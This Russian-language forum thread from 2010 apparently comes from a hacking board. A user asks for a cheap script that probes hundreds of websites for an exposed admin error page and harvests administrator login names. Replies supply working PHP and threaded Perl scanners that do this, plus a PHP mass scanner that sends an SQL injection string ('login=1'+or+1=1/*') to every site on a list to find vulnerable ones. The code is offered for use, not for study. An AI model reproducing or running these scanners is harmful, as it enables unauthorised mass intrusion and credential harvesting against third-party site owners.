Помогите в Написании Простенького Скрипта

Discussion in 'PHP' started by SuNDowN, 16 Mar 2010.

  1. SuNDowN

    SuNDowN Member

    Joined:
    31 Mar 2008
    Messages:
    23
    Likes Received:
    73
    Reputations:
    -8
    Привет АчаТУ! Буду очень признателен если добрые люди помогут написать простенький php скрипт. С меня ++ сы либо пару $ ;)

    Суть скрипта:
    - Я вставляю в форму более 500 ссылок вида:
    site1.com
    site2.com
    site3.com

    - Скрипт подставляет по очереди (или во много потоков сразу) после каждой ссылки чтото типа:
    /admin.php?=error (это можно тоже сделать чтобы через форму вводилось)
    - Он как бы открывает каждую ссылку но уже как:
    site1.com/admin.php?=error
    site2.com/admin.php?=error
    site3.com/admin.php?=error

    - В центре страницы каждой ссылки он ищет:
    Логин: login (login - любое слово, это будет админский ник)
    - Если логин обнаружен тогда он записывает ссылку в good.txt на сервере, если нет тогда в bad.txt, если логин не обнаружен то выдаёт разного рода ошибки!

    P/S/ думаю вы как бы поняли наверное суть скрипта ;) Если что-то не понятно пишем тут или в ПМ :)
     
    1 person likes this.
  2. b3

    b3 Moderator

    Joined:
    5 Dec 2004
    Messages:
    2,041
    Likes Received:
    933
    Reputations:
    199
    PHP:
    <?php
    if(!empty($_POST['txt'])){

    $links explode("\r\n"$_POST['txt']);
    foreach (
    $links as $link) {
        
    $data file_get_contents($link.'/admin.php?=error');
        if(
    preg_match('#Логин: (.*)#',$data,$m)) {
            echo 
    'FOUND: '.$m[1].'<br>';
            
    file_put_contents('good.txt',$m[1], FILE_APPEND);
        }

    }

    } else {
        echo 
    '<form method="post" enctype="application/x-www-form-urlencoded">
    <textarea cols="22" rows="11" wrap="OFF" name="txt"></textarea><br>
    <input type="submit" value="Go">
    </form>'
    ;
    }
    ?>
    Подозреваю что регулярка не будет правильно парсить т.к. нужен кусочек исходного кода HTML странички места где выводится логин либо ошибка.
     
    _________________________
  3. SuNDowN

    SuNDowN Member

    Joined:
    31 Mar 2008
    Messages:
    23
    Likes Received:
    73
    Reputations:
    -8
    UP! Народ может кто за пару баксов напишет?) Ну нужет вот и всё!)
     
  4. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Вам же дали вариант. Чем не устраивает?
     
  5. altblitz

    altblitz Elder - Старейшина

    Joined:
    5 Jun 2009
    Messages:
    3,697
    Likes Received:
    3,139
    Reputations:
    236
    b3,
    верно по идее.

    но <input type="submit" value="Go">
    начисто опровергает её.

    понимаешь, почему ?
     
  6. Игорь

    Игорь Member

    Joined:
    5 Sep 2006
    Messages:
    39
    Likes Received:
    14
    Reputations:
    0
    Если известен ник или ключевое слово
    Можно попробовать решить вопрос allsubmitter 4.7, ссылки вбить как адреса сайтов и запустить по ним автопрогон.


    Если ключевое слово найдено - уйдет в успешно, если ошибка, то в неудачно.

    Чтобы реализовать на php нужно понять, что парсить, какой-то аналог того, что должно быть можно показать?
     
  7. SuNDowN

    SuNDowN Member

    Joined:
    31 Mar 2008
    Messages:
    23
    Likes Received:
    73
    Reputations:
    -8
    да могу показать если возьмеся в написание скрипта)
     
  8. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    PHP:
    <?php
    //Скрипт для поиска уязвимых сайтов
    //автор: phpdreamer

    set_time_limit(0);
    //имя файла, в котором список сайтов
    $filename 'sites.txt';
    //строка в URL, для поиска уязвимых сайтов
    $url "?functions.php?login=1'+or+1=1/*";
    //строка, которая будет на странице если сайт уязвим
    $str 'Добро пожаловать';

    //читаем файл и проверяем все сайты
    foreach(file($filename) as $site)
        if(
    strpos(curlPage(trim($site) . $url) , $str ))
            echo 
    $site '<br>';

    function 
    curlPage($url
    {
        if( !
    function_exists('curl_init'))
            die(
    'На сервере не установлено или отключено расширение cURL. Скрипт завершил работу.');
        
    $curl curl_init();
        
    curl_setopt($curl,CURLOPT_URL,$url);
        
    curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);
        
    curl_setopt($curl,CURLOPT_FOLLOWLOCATION,true);
        
    curl_setopt($curlCURLOPT_HTTPHEADER, array(
        
    'Accept-Language: ru,en-us;q=0.7,en;q=0.3',
        
    'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8,application/json',
        
    'User-Agent: Mozilla/5.0 (X11; U; Gentoo-Linux; ru; rv:1.9.2.3)socks-php-bot Gecko/20100404  Firefox/3.7.0 GTB7.0',
        
    'Accept-Encoding: deflate',
        
    'Accept-Charset: UTF-8,*'));
        
    curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,300);
        return 
    curl_exec($curl);
    }


     
    #8 phpdreamer, 13 May 2010
    Last edited: 13 May 2010
  9. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    PHP:
    use LWP::UserAgent;
    use 
    HTTP::Cookies;
    use 
    URI::Escape;
    use 
    threads;
    use 
    threads::shared;

    my @sites shared loadf('sites.txt');

    my @trl = ();
    $trl[$_] = threads->create(\&main) for 0..10;
    $_->join for @trl;

    sub main
    {
        
    my ($web$cookie) = webclient();
        while(@
    sites)
        {
            
    $site shift @sites;
            
    my $page $web->get($site.'/admin.php?=error')->content;
            if(
    $page =~ /Логин: (.*?)/) #регулярка
            
    {
                print 
    'login found in '.$site# выводим если регулярка найдена
            
    }
        }
    }
    ## Веб ##
    sub webclient
    {
        
    my $web = new LWP::UserAgent;
        
    my $cookie = new HTTP::Cookies;
        
    $web->cookie_jar($cookie);
        
    $web->agent($rndua);
        
    my @array = ();
        
    $web->requests_redirectable(\@array);
        return 
    $web$cookie;
    }
    ## Загрузка файла ##
    sub loadf {
        
    open F"<".$_[0] or erroropen($_[0]); 
        
    chomp(my @data = <F>);
        
    close F;
        return @
    data;
    }
    ## Если файл не найден ##
    sub erroropen
    {
        print 
    '[error] file '.$_[0].' not found';
        exit;
    }
    ##
    Вот накатал быстренько скриптик на PERL'e.
    Работает в 10 потоков.

    Регялрку сам пиши какую надо или дай кусок сурса, сам напиши.

    Чтобы сохроняло в файлы было лень писать, если что пиши в аську.
     
  10. SuNDowN

    SuNDowN Member

    Joined:
    31 Mar 2008
    Messages:
    23
    Likes Received:
    73
    Reputations:
    -8
    Скрипт еще не успел начать цикл как приостановил работу :(
     
  11. phpdreamer

    phpdreamer Member

    Joined:
    26 Jul 2009
    Messages:
    522
    Likes Received:
    86
    Reputations:
    19
    set_time_limit(0); - устанавливает неограниченное время выполнения скрипта... нужно разрешить это в php.ini
    ну и расширение curl должно быть установлено на сервере...

    у меня скрипт работает